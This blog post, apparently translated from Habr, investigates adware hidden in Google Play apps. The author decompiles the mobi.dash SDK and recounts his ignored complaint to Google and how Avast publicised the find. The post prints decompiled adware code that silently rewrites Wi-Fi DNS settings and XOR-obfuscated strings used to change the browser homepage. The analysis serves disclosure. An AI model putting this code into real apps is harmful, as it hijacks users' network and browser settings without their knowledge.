Як я боровся з adware в Google Play і програв


За останню добу сотні новинних сайтів (клац і тиць) передруковують одну цікаву новину, що розповідає про виявлення чергових шкідливих додатків в Google Play. На цей раз adware показувало настирливу рекламу кожен раз при розблокування пристрою і було встановлено на мільярди мільйони телефонів і планшетів. На щастя, антивірусна компанія Symantec вчасно виявила загрозу і програми були видалені.

Під катом я розповім свою версію подій: як я обчислював і шукав adware в Google Play, декомпилировал код adware sdk, можна дочекатися відповіді від підтримки Google, чому мобільні антивіруси марні і як їм вдається на гарячому инфоповоде зробити собі хорошу безкоштовну рекламу.

«Ваша версія Android застаріла»

Одного разу ввечері моя більш гуманітарна і прекрасна половинка підійшла до мене питанням — чому вона не може встановити оновлення на телефон, хоча телефон про це постійно просить. На екрані була відкрита вкладка браузера з принадною пропозицією все-таки встановити це оновлення. При закритті вкладки виявилося, що таких сторінок відкрито в браузері більше 80 штук. Після нетривалого допиту з'ясувалося, що ніяких підозрілих програм на телефон, дійсно, не встановлювали — в налаштуваннях навіть відключена можливість установки зі сторонніх джерел. Як виявилося, кожен раз при розблокуванні телефону в браузері відкривалася посилання з рекламою або рекламний банер AdMob поверх лончера.



Історія ставала цікавою, так як додаток прийшов явно з Google Play. Взявши телефон в одну руку і LogCat в іншу, я став з'ясовувати, хто ж запускає цю рекламу.

//TODO: Відключити логування в релізі
Винуватець свята був встановлений дуже швидко — як виявилося, розробники зовсім не подбали про відключення логування в релизной версії. Кожен раз при блокування або розблокування екрану в LogCat сипалася докладна інформація про результат виконання запиту на сервер за рекламою та інші дані налагодження. Виглядало це так:
Logcat01-31 02:15:13.303: D/Microlog(3020): Microlog 1669935:[DEBUG]-Open url external. Start with intent: Intent { act=android.intent.action.VIEW dat=http://brodero.com/v2/b/rs?agid=af70e9985-a73c-46d6-a24e-a7e112748cf7&vid=3ad864d4-643d-4f55-8dbd-ae76ebf08bbc&bgid=ba6195268-bfaa-451c-8736-aba9b7449306&u=http://terigal.ua/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg=0x10000000 cmp=com.android.chrome/com.google.android.apps.chrome.Main }
01-31 02:15:13.306: I/ActivityManager(734): START u0 {act=android.intent.action.VIEW dat=http://brodero.com/v2/b/rs?agid=af70e9985-a73c-46d6-a24e-a7e112748cf7&vid=3ad864d4-643d-4f55-8dbd-ae76ebf08bbc&bgid=ba6195268-bfaa-451c-8736-aba9b7449306&u=http://terigal.ua/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 flg=0x10000000 cmp=com.android.chrome/com.google.android.apps.chrome.Main} from uid 10065 on display 0

Интент запускав процес з PID 3020. Залишалося тільки дізнатися, яким же пакету належить цей PID. В цьому допомогла команда ps | grep 3020», виконана в adb shell. Відповідь я отримав однозначну:
adb shellshell@hammerhead:/ $ ps | grep 3020
ps | grep 3020
u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history

Виявилося, що за цим стояло додаток «Світова Історія». У додатку виявилося більше 5 тисяч установок. Причому воно було встановлено з Google Play давно, а ось реклама почала сипатися недавно. Після видалення програми реклама звичайно ж перестала муляти очі.
Що ж, це було неважко, але не можна ж просто так залишити. Саме час препарувати АПК і залізти всередину коду.

«Скальпель, зажим...»
Щодо інструментів нічого нового я не розповім — я використовував dex2jar для отримання коду в jar, apktool для декомпіляції xml-ресурсів (а ще він вміє в smali, але це зовсім інша історія) і Luyten для декомпіляції jar-ки. Останній, до речі, вкрай рекомендую — Luyten це просто GUI для Procyon, який у свою чергу дуже класний. Принаймні, у порівнянні з JD, яким я користувався раніше, Procyon мені сподобався більше.

Хабровчане, знайомі з розробкою під Android, вже зрозуміли, що додаток явно реєструє broadcast receiver на події android.intent.action.SCREEN_OFF android.intent.action.SCREEN_ON для показу такої хитрої реклами. Підписатися на цих дій можна тільки з коду, тому в маніфесті нічого цікавого бути не повинно. Але все-таки заглянемо й туди (не дарма ж його декомпилировали, в кінці кінців) — у маніфесті таки знайшлися кілька цікавих компонентів. Один з broadcast receiver-ів був підписаний на android.intent.action.BOOT_COMPLETED. Називався він mobi.dash.overapp.DisplayCheckRebootReceiver — з нього я і приступив до вивчення коду:
DisplayCheckRebootReceiver
public void onReceive(final Context context, final Intent intent) {
AdsLog.d("AdsOverappRebootReceiver", intent.toString());
Object stringExtra = null;
if (intent != null) {
stringExtra = intent.getStringExtra(DisplayCheckRebootReceiver.Param_Event);
}
if (DisplayCheckRebootReceiver.Event_SendAlive.equals(stringExtra)) {
sendAlive(context);
return;
}
AdsOverappRunner.ping(context.getApplicationContext());
}


Як видно з коду, після першого перезавантаження викликається метод AdsOverappRunner.ping. Зазначений метод завантажує налаштування з файлу ads_settings.json, який знаходиться в ресурсах в папці raw, і запускає очікування. Причому скільки триватиме це очікування — зазначено у файлі ads_settings.json. Далі все гранично просто — з цього моменту через AlarmManager з періодичністю в 15 хвилин додаток буде смикати все той же DisplayCheckRebootReceiver і перевіряти, не вийшов інкубаційний період. Після того, як очікування закінчитися буде запущений mobi.dash.overapp.DisplayCheckService, який вже і стане радувати користувача рекламою.

В принципі поки нічого незвичайного, якби не один факт — все це було не виробом автора програми, а явно було стороннім SDK. Причому навіть без всякого подальшого аналізу воно вже вселяв довіру, в пакеті mobi.dash лежало близько 200 класів.

Кожен раз при блокуванні екрану SDK робило запит на сервер і отримувало відповіді рекламу, яку варто показати. При цьому, підтримувалися різні типи реклами:
DisplayCheckService
public void showAd(final AdsOverappType lastOverappType, final BannerData bannerData) {
this.hideAd();
BlacklistManager.getInatance().onBannerShow((Context)this, bannerData.id);
Ads.getHistory().addBannerAction(bannerData.localId, "service", "showAd");
this.lastOverappType = lastOverappType;
this.saveLastOverappType();
if (lastOverappType == AdsOverappType.Alert) {
this.showAlert(bannerData);
return;
}
if (lastOverappType == AdsOverappType.Recommendation) {
this.showRecomendation(bannerData);
return;
}
if (lastOverappType == AdsOverappType.Link) {
this.showLink(bannerData);
return;
}
if (lastOverappType == AdsOverappType.Sdk) {
this.showSdk(bannerData);
this.waitAndRequestNextAd();
return;
}
if (lastOverappType == AdsOverappType.Notification) {
this.showNotification(bannerData);
this.waitAndRequestNextAd();
return;
}
this.showBanner(bannerData);
this.waitAndRequestNextAd();
}


По команді з сервера SDK могло показувати діалог з заданим текстів, відкривати посилання в бразуере, показувати рекламу AdMob, Mopub або Chartboost, кидати повідомлення.

Крім цього, всередині знайшовся більш цікавий функціонал — SDK вміло міняти dns сервер у налаштуваннях wi-fi з'єднання:
DisplayCheckService
public static void setupDns(final Context context) {
final String dns = getDns(context);
if (!TextUtils.isEmpty((CharSequence)dns)) {
final WifiManager wifiManager = (WifiManager)context.getSystemService("wifi");
if (wifiManager != null) {
final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo();
if (dhcpInfo != null) {
final String formatIpAddress = Formatter.formatIpAddress(dhcpInfo.ipAddress);
final String formatIpAddress2 = Formatter.formatIpAddress(dhcpInfo.netmask);
final String formatIpAddress3 = Formatter.formatIpAddress(dhcpInfo.gateway);
final ContentResolver contentResolver = context.getContentResolver();
Settings$System.putString(contentResolver, "wifi_use_static_ip", "1");
Settings$System.putString(contentResolver, "wifi_static_ip", formatIpAddress);
Settings$System.putString(contentResolver, "wifi_static_netmask", formatIpAddress2);
Settings$System.putString(contentResolver, "wifi_static_gateway", formatIpAddress3);
Settings$System.putString(contentResolver, "wifi_static_dns1", dns);
Settings$System.putString(contentResolver, "wifi_static_dns2", dns);
}
}
}
}


Найімовірніше, робилося це для того, щоб перенаправляти користувачів на потрібні рекламні сайти.
Так само SDK могло створювати фальшиві ярлики на робочому столі, які вели користувача за посиланнями, які прийшли з сервера. Ну і мабуть останній цікавий функціонал — можливість змінювати домашню сторінку в браузері. Код, відповідальний за це, виявився єдиним захищеним місцем в SDK — все інше, як можна замінити, навіть не було обфусцированно. Браузери бувають різні, тому і в SDK використовується три різних способи. При цьому назви интентов або URI шляхів у content resolver-ті, які використовувалися для зміни домашньої сторінки, були зашифровані криптостійким алгоритмом шифрування XOR і спочатку виглядали як масив байт:
HomepageInjector
a = new byte[] { 13, 9, 1, 37, 14, 25, 55, 75, 27, 24, 29, 6, 11, 90, 94, 16, 29, 25, 89, 3, 0, 0, 93, 58, 54, 32, 58, 58, 97, 4, 11, 3, 21, 6, 9, 45, 49, 38, 32, 32, 62, 55, 107, 59 };
b = new byte[] { 9, 1, 9, 23, 26, 27, 13 };


Після нехитрої операції це перетворювалося в звичайний текст:
XORlgeWapService.prov.persister.INSTALL_BROWSER
homeuri

А далі кидався broadcast з таким екшеном і екстра-параметром. Ймовірно, що на телефонах LG це дійсно змінює домашню сторінку. Швидше за все, це зроблено для захисту від сканування антивірусами. Принаймні virustotal впевнено заявляв, що додаток абсолютно безпечно.

Ім'я їм легіон
Так як SDK виглядало дуже добре, навряд чи його писали тільки лише для того, щоб вбудувати в додаток з 5 тисячами установок. В першу чергу я перевірив інші додатки того ж автора. Як виявилося, в кожному з них було вбудовано реклама mobi.dash. А додатків у автора було чимало:



Звичайно, в основному в них було зовсім небагато установок, але в одного з них кількість установок перевалило за 50 тисяч. Але одним видавцем, звичайно, поширення цього SDK не повинно обмежуватися. Так як SDK ходило за рекламою на сервер ad1.mads.bz я вирішив пошукати хто ж ще стикався з цією проблемою. Виявилося, що на 4pda є ціла тема, де користувачі борються з такою рекламою. Там я знайшов згадки ще двох додатків, які тягнули рекламу ad1.mads.bz. Ці програми виявилися набагато популярніше:



Більше 5 мільйонів і більше 1 мільйона установок — непоганий охоплення аудиторії. У карткової гри «Дурень» при такій кількості установок повинні бути десятки тисяч активних користувачів щодня. У відгуках було багато негативних коментарів про те, що гра показує рекламу, але антивіруси нічого не визначають. Це було досить-таки дивним, враховуючи антивіруси лаються навіть на AirPush SDK, реклама у яких явно менш настирлива. До речі, перший знайдене мною згадка mobi.dash sdk датується 1 жовтня 2013 року. Ймовірно, через півтора року і сотні скарг користувачів, хтось повинен бути вжити заходів? Що ще робити пересічному користувачеві (хардресет, звичайно), якщо у нього оселилася така реклама, якщо не шукати допомоги у мобільних антивірусів. Я перевірив три мобільних антивірусів: Mcafee Mobile Security, Dr. Web і Kaspersky Internet Security. Думка була одностайною:



Хтось вважав, що з моїм телефоном все було в порядку. Мабуть, з цим треба було щось робити.

«Досить це терпіти!»

До цього моменту у мене вже була обширна інформація і про можливості SDK, і про те, які програми його в собі несуть. Тому першим ділом я вирішив наябедничати повідомити в цьому Google. Під кожним додатком в Google Play є посилання «Flag as inappropriate» (була вона там, до речі, не завжди і з'явилася лише влітку 2014 року), натиснувши на яку кожен може повідомити про порушення. Гугл ставиться до цих скарг настільки серйозно, що навіть малює анімація про те, наскільки серйозно він до цього ставиться. Пройшовши непростий шлях від посилання Flag as inappropriate до поля для введення тексту моєї скарги я коротко виклав всю суть. Через хвилину мені на пошту прийшла відповідь від бота, який просив описати детальніше, які ж правила порушує додаток і докласти додаткові матеріали (скріншоти і т. д.), які допоможуть їм. У відповідь я видав довгий і докладний лист, в якому пояснив, що порушені 4 правила з Google Play Content Policy:
Google Play Content Policy violationThis app violate the following policies:

* Google Play Content Policy, chapter 'System Interference':
— This includes behavior such as replacing or reordering the default presentation of apps, віджети, or the settings on the device. If an app makes such changes with the user's knowledge and consent, it must be clear to the user which app has made the change and the user must be able to reverse the change easily, or by uninstalling the app взагалі.
+ App can change DNS server when wi-fi is connected in order to redirect users to malicious sites

— Apps and their ads must not modify or add browser settings or bookmarks, add homescreen shortcuts, or icons on the user's device as a service to third parties or for advertising purposes.
+ App can change browser homepage and create homescreen shortcuts

— Apps and their ads must not display advertisements through system level notifications on the user's device, unless the notifications derive from an integral feature provided by the installed app (e.g., an airline app that notifies users of special deals, or a game that notifies users of in-game promotions).
+ App shows ad system at level overlapping all other applications

* Google Play Ad Policy, chapter 'Ads Context':
— Ads must not simulate or impersonate the user interface of any app, or notification and warning elements of an operating system. It must be clear to the user which app each ad is associated with or implemented in.
+ Shown ads simulate operating system warning very often, screenshots are attached

Для повного розуміння я навіть записав відео, щоб показати як виглядає ця реклама:
Я детально описав мої дослідження з приводу рекламного SDK і його можливостей, а так само надав список додатків. Я написав докладну інструкцію, як можна швидко домогтися показу реклами простим перекладом дати. Лист від мене пішло 22 січня.
Я думаю, що нікого не здивує, що я не отримав на нього відповіді і не домігся від гугла ніякого результату. На жаль, в гуглі обробкою скарг від користувачів займається містер коробочка і вони відкладаються в дальній ящик.

Антивіруси

Тим не менш, навіть якщо програми залишаться в гуглі (а їх там, до речі, 140 штук), то було б непогано, якщо антивіруси хоч якось попереджали про це SDK. Я створив теми на форумах Kaspersky, Dr. Web і Kaspersky, в яких вказав на те, що антивіруси ніяк не реагують на таку рекламу і непогано було б все-таки внести її до бази. Поки це зробити дуже просто — адже в маніфесті у таких додатків оголошені компоненти mobi.dash. На форумі Kaspersky відреагували дуже швидко, пообіцяли розібратися і навіть подарували річну передплату. Модератор на форумі Dr. Web запропонував мені відправити файл на аналіз в антивірусну лабораторію. Avast відреагував через 3 дня і пообіцяв розібратися. Більше я ніякої активності в темах на форумі не було.

Сьогодні, через 10 днів після моїх форумних повідомлень, раптово під відео з демонстрацією реклами, почали з'являтися коментарі. Це було трохи дивно, враховуючи, що відео було приватним. Ще більш дивним було те, що у відео було 10 тисяч переглядів (а на даний момент вже перевалило за 20 тисяч). Виявилося, що Avast розмістив у блозі статті про додатках з цим рекламним SDK. Нічого нового, крім написаного мною, в цій статті не було, хіба що додалася реклама преміум версії антивіруса Avast від, який вже визначає цю рекламу. Мабуть, історія виявилася цікавою і прес-релізи потрапили в ціль. Як-то так і вийшло, що після того як я виклав посилання на додатки і аналіз SDK на форумі, новину про те, як компанія Avast і аналітик Філіп Китры (Filip Chytry) виявили шкідливі програми в Google Play потрапила на багато великі інформаційні ресурси. Причому тут компанія Avast і аналітик Філіп Китры, здавалося б.

Через шість годин після публікації в блозі всі зазначені мною програми були видалені з Google Play:
About six hours after this post went live, a Google spokeswoman e-mailed to say the three apps have been pulled from Play.


Happy end

Нехай конкретно моя боротьба з adware і закінчилася нічим — моя скарга була проігнорована гуглом і рятівниками виявилася компанія Avast, але все-таки результат був досягнутий. Правда, до цього результату я маю вельми опосередковане відношення — достукатися до гугла виявилося неможливо, та й виробники антивірусів не дуже зацікавлені в поліпшенні мобільних продуктів, якщо за 1.5 року не звернули уваги на таку проблему. Тим не менше, хочеться вірити що багатьом користувачам результати цієї історії трохи полегшать життя в майбутньому.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.